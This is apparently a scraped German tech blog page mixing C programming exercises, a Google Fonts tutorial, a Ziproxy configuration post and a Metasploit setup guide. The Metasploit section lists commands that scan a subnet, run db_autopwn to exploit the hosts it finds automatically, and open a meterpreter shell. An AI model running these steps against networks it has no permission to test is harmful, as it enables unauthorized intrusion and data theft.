            printf("\n\n**Bitte einen korrekten Namen eingeben!!!**\n\n");
         }
      } 
      while (!isalpha(cNamePuffer[0]));
   }
   return cNamePuffer;
}

/*
============================================================================
Funktion readProduktanzahl() - scanf with check
============================================================================
*/
int readProduktanzahl(void)
/*
Rückgabewert:    iProduktanzahl ==> Produktanzahl
Es werden keine Argumente übergeben!
*/
{
   int check=true, iProduktanzahl;
   check=true;
   do 
   {
      printf("\tAnzahl: ");
      // Einlesen der Produktanzahl
      check = !scanf("%d", &iProduktanzahl);
      new_fflush();
      if (check)
      {
         printf("\n\n**Bitte eine korrekte Produktanzahl eingeben!!!**\n\n");
      }
   } 
   while (check);
   return iProduktanzahl;
}

/*
============================================================================
Funktion readLieferung() - scanf with check
============================================================================
*/
int readMontage(void)
/*
Rückgabewert:    iMontage ==> Montage (1 | 0)
Es werden keine Argumente übergeben!
*/
{
   int iMontage=0;
   char cInput;
   do 
   {
      printf("\tMontage: ('j' fuer ja) ");
      // Einlesen der Montage
      scanf("%c", &cInput);
      new_fflush();
      if (!isalpha(cInput))
      {
         printf("\n**Bitte eine korrekte Eingabe taetigen!!!**\n");
      }
   } 
   while (!isalpha(cInput));
   if (cInput == 'j') 
   {
      iMontage=true;
   }
   return iMontage;
}

/*
============================================================================
Funktion readLieferung() - scanf with check
============================================================================
*/
int readLieferung(void)
/*
Rückgabewert:    iLieferung ==> Lieferung (1 | 0)
Es werden keine Argumente übergeben!
*/
{
   int iLieferung=0;
   char cInput;   
   do 
   {
      printf("\tLieferung: ('j' fuer ja) ");
      // Einlesen der Lieferung
      scanf("%c", &cInput);
      new_fflush();
      if (!isalpha(cInput))
      {
         printf("\n\n**Bitte eine korrekte Eingabe taetigen!!!**\n\n");
      }
   } 
   while (!isalpha(cInput));
   if (cInput == 'j') 
   {
      iLieferung=true;
   }
   return iLieferung;
}

/*
============================================================================
Funktion readKundenNr() - scanf with check
============================================================================
*/
int readKundenNr(void)
/*
Rückgabewert:    iKundenNr ==> Kunden-Nr.
Es werden keine Argumente übergeben!
*/
{
   int check=true, iKundenNr;
   do 
   {
      printf("\n\tKunden-Nr.: ");
      // Einlesen der iKundenNr
      check = !scanf("%d", &iKundenNr);
      new_fflush();
      if (check)
      {
         printf("\n\n**Bitte eine korrekte Kunden-Nr. eingeben!!!**\n\n");
      }
   } 
   while (check);
   return iKundenNr;
}

/*
============================================================================
Funktion printMenu() - Ausgabe vom Menue
============================================================================
*/
int printMenu(void) 
/*
Rückgabewert:    0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
   printf("\n\tP R E I S K A L K U L A T I O N");
   printf("\n\t===============================");
   printf("\n\n\ta: Standardkonfiguration");
   printf("\n\n\tb: Einzelkomponenten");
   printf("\n\n\tc: Warenkorb anzeigen"); 
   printf("\n\n\td: Suchen (Kunden-Name)");
   printf("\n\n\te: Suchen (Kunden-Nr.)");
   printf("\n\n\tf: Loeschen");
   printf("\n\n\tx: Ende");
   printf("\n\n\n\tAuswahl: ");
   return 0;
}

/*
============================================================================
Funktion printMenuStandard() - Ausgabe vom Standard-Menue
============================================================================
*/
int printMenuStandard(void) 
/*
Rückgabewert:    0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
   printf("\n\tS T A N D A R D K O N F I G U R A T I O N");
   printf("\n\t=========================================");
   printf("\n\n\t1: %s\t\t%5.2f", FUNSTAR_NAME, FUNSTAR_PREIS);
   printf("\n\t2: %s\t\t%5.2f", HIGHEND_NAME, HIGHEND_PREIS);
   printf("\n\t3: %s\t% 5.2f", MULTIMEDIASTAR_NAME, MULTIMEDIASTAR_PREIS);
   printf("\n\t4: %s\t\t%5.2f", OFFICESTAR_NAME, OFFICESTAR_PREIS);
   printf("\n\t0: Abbruch");
   printf("\n\n\n\tAuswahl: ");
   return 0;
}

/*
============================================================================
Funktion printMenuEinzel() - Ausgabe vom Einzel-Menue
============================================================================
*/
int printMenuEinzel(void) 
/*
Rückgabewert:    0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
   printf("\n\tE I N Z E L K O M P O N E N T E N");
   printf("\n\t=================================");
   printf("\n\n\t1: %s", GEHAEUSE_NAME);
   printf("\n\t2: %s\t\t%5.2f", MAINBOARD_NAME, MAINBOARD_PREIS);
   printf("\n\t3: %s\t\t\t%5.2f", CPU_NAME, CPU_PREIS);
   printf("\n\t4: %s\t\t%5.2f", FESTPLATTEN_NAME, FESTPLATTEN_PREIS);
   printf("\n\t5: %s\t\t%5.2f", GRAFIKKARTEN_NAME, GRAFIKKARTEN_PREIS);
   printf("\n\t0: Abbruch");
   printf("\n\n\n\tAuswahl: ");
   return 0;
}

/*
============================================================================
Funktion printMenuEinzel() - Ausgabe vom Einzel-Menue
============================================================================
*/
int printMenuGehaeuse(void) 
/*
Rückgabewert:    0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
   printf("\n\tG E H A E U S E K O M P O N E N T E N");
   printf("\n\t=====================================");
   printf("\n\n\t1: %s\t %5.2f", LX100_NAME, LX100_PREIS);
   printf("\n\t2: %s\t %5.2f", LX120_NAME, LX120_PREIS);
   printf("\n\t3: %s\t%5.2f", LX34A_NAME, LX34A_PREIS);
   printf("\n\t0: Abbruch");
   printf("\n\n\n\tAuswahl: ");
   return 0;
}

Google – Neue Schriftarten für deine Webseite

“Alle aktuellen Browser können Schriftarten per CSS vom Server holen, um die auf dem Rechner vorinstallierte Auswahl von Fonts zu ergänzen und Webdesignern typografische Handlungsfreiheit zu ermöglichen. In der Praxis scheitern diese Webfonts bisher aber oft am technischen Aufwand, an Lizenzfragen und an unterschiedlichen Implementierungen in den Browsern. Die auf der Google-Entwicklerkonferenz Google I/O vorgestellten Google Font API und Google Font Directory könnten dieser Technik endlich zum Durchbruch verhelfen und das Aussehen von Webseiten nachhaltig verändern.” – heise.de


Google Font Directory
Google Font Directory


Google Web Schriftarten sind mit folgenden Browsern kompatibel:

  • Google Chrome: 4.249.4+
  • Mozilla Firefox: 3.5+
  • Apple Safari: 3.1+
  • Microsoft IE: 6+


1.) Und -> hier <- gibt es ein kleines HowTo von Google, welches zeigt, dass man als erstes folgendes (ggf. Rennie Beanie gegen eine andere Schriftart austauchen) im HTML-Quellcode einfügen muss…



href='http://fonts.googleapis.com/css?family=Reenie+Beanie' rel='stylesheet' type='text/css'>


… du kannst diese Fonts/Schriftarten und auch die nachfolgenden Modifizierungen (CSS) mit WordPress auch über ein Plugin (WP Google Fonts) einstellen.


2.) Als nächstes können wir die Schriftart noch per CSS modifizieren …

.PostHeader a:link
{
font-family: 'Reenie Beanie', Arial, Sans-Serif;
font-size: 32px;
text-decoration: none;
text-align: left;
color: #265273;
}


3.) … und dies z.B. folgendermaßen als Überschrift für WordPress in der Datei (single.php) verwenden. Wie das Ergebnis am Ende aussieht, kannst du hier im Blog sehen. ;-)


<span><h1><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><?php the_title(); ?></a></h1></span>


4.) Wer will kann auch erst eine normale Schrift anzeigen lassen und dann die Google-Fonts per JavaScript laden lassen… -> hier <- gibt es diesbezüglich weitere Infos.


<html>
 <head>
 <script type="text/javascript">
 WebFontConfig = {
 google: { families: [ 'Tangerine', 'Cantarell' ] }
 };
 (function() {
 var wf = document.createElement('script');
 wf.src = ('https:' == document.location.protocol ? 'https' : 'http') +
 '://ajax.googleapis.com/ajax/libs/webfont/1/webfont.js';
 wf.type = 'text/javascript';
 wf.async = 'true';
 var s = document.getElementsByTagName('script')[0];
 s.parentNode.insertBefore(wf, s);
 })();
 </script>
 <style type="text/css">
 .wf-loading p {
 font-family: serif
 }
 .wf-inactive p {
 font-family: serif
 }
 .wf-active p {
 font-family: 'Tangerine', serif
 }
 .wf-loading p {
 font-family: serif;
 font-size: 16px
 }
 .wf-inactive h1 {
 font-family: serif;
 font-size: 16px
 }
 .wf-active h1 {
 font-family: 'Cantarell', serif;
 font-size: 16px
 }
 </style>
 </head>
 <body>
 <h1>This is using Cantarell</h1>
 <p>This is using Tangerine!</p>
 </body>
</html>

Metasploit – Sicherheitsanalyse im Netzwerk


Metasploit
Metasploit


“Das Metasploit-Projekt ist ein freies Open-Source-Projekt zur Computersicherheit, das Informationen über Sicherheitslücken bietet und bei Penetrationstests sowie der Entwicklung von IDS-Signaturen eingesetzt werden kann. Das bekannteste Teilprojekt ist das Metasploit Framework, ein Werkzeug zur Entwicklung und Ausführung von Exploits gegen verteilte Zielrechner. Andere wichtige Teilprojekte sind das Shellcode-Archiv und Forschung im Bereich der IT-Sicherheit.

Wie vergleichbare kommerzielle Lösungen wie CANVAS (von Immunity) oder Core Impact (von Core Security Technology), kann Metasploit von Administratoren eingesetzt werden, um die Schwachstellen von Computersystemen zu prüfen und diese bei Bedarf zu schließen. Andererseits kann es auch missbraucht werden, um in andere Systeme einzubrechen. Während der beschriebene Einsatz durch einen Administrator in seinem eigenen Netzwerk nicht nur legitim, sondern auch legal ist, erfüllt ein Einsatz ohne ausdrückliche Erlaubnis bei Fremdsystemen Tatbestände der Computerkriminalität.” – Wiki


[stextbox id=”alert” caption=”Achtung”]Ausdrücklich möchte ich noch einmal darauf hinweisen, dass man dieses Programm nur zur Analyse des eigenen Netzwerkes nutzen darf![/stextbox]


hackingprocess
hackingprocess


Als erstes müssen wir einige Dinge nachinstallieren um “unser eigenes” Netzwerk bzw. die Rechner in diesem auf Exploits zu prüfen und spätestens jetzt bemerkt man, dass ein Patch-Day im Monat ggf. nicht ausreicht, sobald man auf eine globale Exploit-Datenbank zurückgreifen kann ;-) …

aptitude install ruby postgres libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby  libreadline-ruby libiconv-ruby libgtk2-ruby libglade2-ruby rubygems libpq-dev libreadline-dev libssl-dev libpq5 ruby-dev
sudo gem install pg


Optional: falls du später Probleme hast, dich mir postgres-SQL zu verbinden
vim /etc/postgresql/8.3/main/postgresql.conf
#ssl = true
sudo /etc/init.d/postgresql restart


… und müssen eine Datenbank-User / Datenbank anlegen.
sudo -s
su postgres
createuser msf_user -P
Enter password for new role: *******
Enter it again: *******
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
createdb --owner=msf_user msf_database


Optional: weitere Infos zu Postgres + Metasploit


Optional: ggf. nach einer neuen Version schauen…


32-Bit:
wget http://www.metasploit.com/releases/framework-3.5.1-linux-i686.run
64-Bit:
wget http://www.metasploit.com/releases/framework-3.5.1-linux-x86_64.run


sudo sh ./framework-3.5.1*
sudo rm -rf /opt/metasploit3/msf3/
sudo svn checkout https://www.metasploit.com/svn/framework3/trunk /opt/metasploit3/msf3/


Optional: für zukünftige Updates
sudo svn update /opt/metasploit3/msf3/


Nun noch schnell das einen Link anlegen …
sudo ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/


… und verhindern, dass PostgreSQL immer automatisch startet.
update-rc.d -f postgresql remove


Optional: ggf. falls der PC in der Zwischenzeit neu-gestartet wurde, starten wir nun PostgreSQL…


sudo /etc/init.d/postgresql start
… führen eben noch ein Update von Metasploit durch und startet diese anschließend …
sudo msfupdate
sudo msfconsole
*abwarten, kann einen Augenblick dauern*


metasploit
metasploit


msf > db_driver postgresql
msf > db_connect msf_user:[password]@127.0.0.1:5432/msf_database
msf > db_workspace -a meinProjekt
msf > db_nmap 192.168.50.0/24
msf > db_hosts
msf > db_services
msf > db_autopwn -t -p -e
msf > session -i 1
meterpreter >
Wir befinden uns nun in einer Shell auf dem Remote-PC und können verschiedene Befehle ausführen z.B.:
ipconfig
execute
shell
download
upload 
… genauer will ich auf die Shell auch nicht eingehen, denn weitere Infos findet man z.B. hier:


fastandeasyhacking
fastandeasyhacking


Wenn man gerne nun noch eine hübsche grafische Oberfläche hätte, kann man sich diese GUI installieren oder “msfgui” ausprobieren. :-) Um die neue Metasploit-GUI zu nutzen müssen wir jedoch als erstes Java installieren…
sudo add-apt-repository "deb http://archive.canonical.com/ lucid partner"
sudo apt-get update
sudo apt-get install sun-java6-jdk
Ggf. noch einmal nach einer neue Version auf der Webseite schauen – www.fastandeasyhacking.com
Optional: ggf. falls der PC in der Zwischenzeit neu-gestartet wurde, starten wir nun PostgreSQL…
sudo /etc/init.d/postgresql start
sudo msfconsole
*abwarten, kann einen Augenblick dauern*
msf > load xmlrpc
… nun steht in der Konsole ein Passwort (+User), welches gleich in der GUI eingegeben werden muss, also neue Konsole öffnen und anschließend die neue GUI herunterladen.
cd ~/Desktop/
wget http://www.fastandeasyhacking.com/download/armitage122210.tgz
tar xzvf armitage122210.tgz
cd armitage/
./armitage.sh
Nachdem die Software gestartet wurde, müssen wir noch schnell das soeben beschriebene Passwort (+User) und noch den Befehl zum Verbinden mit der Datenbank eintragen …
… anschließend können wir das Netzwerk scannen und ggf. Sicherheitslücken entdecken …


Armitage_start
Armitage_start


Menü:
Hosts -> Clear Hosts
Hosts -> Nmap Scan -> Quick Scan (OS detect)
Services
Services


Auswahl
Auswahl


… genauer will ich auf die GUI auch nicht eingehen, denn weitere Infos findet man z.B. hier:

C-Programm – Palindrom

Dieses Programm teilt einen String in Wörter auf (strtok), anschließend wird jeweils geprüft ob diese von vorn und von hinten gelesen gleich bleiben und somit Palindrome sind.

#include <stdio.h>
#include <string.h>
#define LENGTH 150

// Testdatensatz:  "Ha/n/nah", "La-ger-regal", "O%t/to", "(Reit-)tier", "Reliefpfeiler", "Ren--tner", "R!o!t)or", "st--ets", "nein", "Hall67o" und "Lastwa$gen"

// Funktion: lengthOfString - die laenge von dem gegebenen String herausfinden
int lengthOfString(char wort[]) {
	int i = 0;
// solang das Ende (\0) nicht erreicht ist, wird der Wert i um 1 erhöht 
	while (wort[i] != '\0') {
        i++;
    }
    return i;
}

// Funktion: isPalindrom - prueft, ob der angegebe String ein Palindrom (lal, otto, lagerregal ...) ist
int isPalindrom(char wort[]) {
    int i;
    int length = lengthOfString(wort);

	for (i=0; wort[i] != '\0'; i++) {
	// for (i = 0; i <= (length-1); i++) { // Alternativ, solange keine Zeichen aus der Zeichenkette entfernt werden :-)
// vergleiche ersten und letzten, zweiten und vorletzten ... 
        if (wort[i] != wort[((length-1)-i)]) {
			return 0;
        }
    }
    return 1;
}

// Funktion: toLower - aus GROß wird klein -> ASCII-Tabelle anschauen ;-)
// Alternative-Funktion: tolower + ctype.h
int toLower(char wort[]) {
	int i;

	for (i=0; wort[i] != '\0'; i++) {
		if (wort[i] <= 90 && wort[i] >= 65) {
			wort[i] = wort[i]+32;
		}
	}
}

// Funktion: cleanString - entfernt '"' und ',' 
int cleanString(char wort[]) {
	int i,j;

	for (i=0, j=0; wort[i] != '\0'; i++) {
			if (wort[i] != 34 && wort[i] != 44) {
				wort[j++] = wort[i];
			}
		}
	wort[j]='\0';
}

// Funktion: removeNonLetters - entfernt Sonderzeichen aus einem String
int removeNonLetters(char wort[]) {
	int i,j;
	int alphabet_small_num = 97;
	int alphabet_big_num = 65;

	for (i=0, j=0; wort[i] != '\0'; i++) {
		while (alphabet_small_num <= 122) {
			if (wort[i] == alphabet_small_num) {
				wort[j++] = wort[i];
			}
			alphabet_small_num++;
		}
		while (alphabet_big_num <= 90) {
			if (wort[i] == alphabet_big_num) {
				wort[j++] = wort[i];
			}
			alphabet_big_num++;
		}
		alphabet_small_num = 97;
		alphabet_big_num = 65;
	}
	wort[j]='\0';
}

/*
// Alternative-Funktion: removeNonLetters + ctype.h - entfernt Sonderzeichen aus einem String
int removeNonLetters(char wort[]) {
	int i,j;

	for (i=0, j=0; wort[i] != '\0'; i++) {
		if (isalpha(wort[i])) {
			wort[j++] = wort[i];
		}
	}
	wort[j]='\0';
}
*/

// main - Hauptprogramm
int main(void) {
    char zeichenkette[LENGTH];
	char trennzeichen[] = " ";
	char *wort;

    printf("Bitte eine Zeichenkette eingeben: \n");
    fgets(zeichenkette, sizeof(zeichenkette), stdin);

	wort = strtok(zeichenkette, trennzeichen);
	while(wort != NULL) {

		cleanString(wort);

		printf("\n\nOriginal: %s\n", wort);
		if (isPalindrom(wort)) {
        	printf("Palindrom: %s\n", wort);
    	}
    	else {
        	 printf("kein Palindrom: %s\n", wort);
		}

		removeNonLetters(wort);
		printf("nach removeNonLetters: %s\n", wort);
    	if (isPalindrom(wort)) {
        	printf("Palindrom: %s\n", wort);
    	}
    	else {
        	 printf("kein Palindrom: %s \n", wort);
		}

		toLower(wort);
		printf("nach toLower: %s\n", wort);
    	if (isPalindrom(wort)) {
        	printf("Palindrom: %s \n", wort);
    	}
    	else {
    		printf("kein Palindrom: %s \n", wort);
		}
		printf("***********************************\n");

   		wort = strtok(NULL, trennzeichen); 
    }

    return 0;
}

weitere hilfreiche Tipps findest du unter: de.wikibooks.org

Ziproxy – HTTP-Traffic Kompression

Ziproxy ist ein nicht HTTP-Proxy Server, welcher Daten nicht zwischenspeichert, diese jedoch komprimiert und weiterleitet. Die meiste Bandbreite wird eingespart, indem Bilder neu-konvertiert werden und andere Daten per gzip komprimiert werden.

Ziproxy benötige keine Client-Software, solange der Browser die gzip-Daten korrekt dekomprimieren kann und auch mit JPEG 2000 Bildern umgehen kann. Der Proxy kann auf unterschiedliche Arten konfiguriert werden, ich hatte bereits vor langer Zeit über Ziproxy berichtet (Mein Proxy-Server) und da ich darauf aufmerksam gemacht wurde, dass die gezeigte Konfiguration in der neuen Version nicht mehr funktioniert, ich jedoch den gezeigten Proxy-Aufbau nicht mehr im Einsatz habe, wollte ich in diesem Blog-Post zumindest die beiden Grundkonfigurationen zeigen. (ggf. wäre ein solcher Proxy auch für Smartphones hilfreich)


1.) Ziproxy als Remote-Proxy

Als erstes die einfachste Variante, hier verbindet sich der Ziproxy über eine schnelle Verbindung (extern) mit dem HTTP-Servern und schickt die Daten über eine langsame Verbindung weiter.


Konfiguration: ziproxy.conf (mit ein paar Kommentaren)




Ziproxy-Standard
Ziproxy-Standard





2.) Ziproxy als Remote-Proxy + Local-Proxy

Die Konfiguration des Remote-Proxys unterscheidet sich im Grunde nicht von der ersten Variante, auch hier wird keine Client-Software benötigt, da ein zweiter lokaler Ziproxy sozusagen als Client fungiert, dies hat den Vorteil:

  • der Browser muss nicht “JPEG 2000” unterstützen
  • der Client (z.B. Squid) muss nicht “gzip” unterstützen
  • CPU-Last wird auf einen Server verlagert (ggf. wenn der Browser durch “JPEG 2000”-Bilder hohe CPU-Last erzeugt)

Konfiguration: Ziproxy-Client

Port = 8080
Address = "127.0.0.1"
NextProxy="81.169.188.94"
NextPort=3128
ImageQuality = {85,85,85,85}
JP2ImageQuality = {85,85,85,85}
MaxUncompressedGzipRatio = 4000
MinUncompressedGzipStreamEval = 250000
MaxSize = 2097152
Gzip = true
DecompressIncomingGzipData = true




Ziproxy_Dual
Ziproxy_Dual




Link: ziproxy.sourceforge.net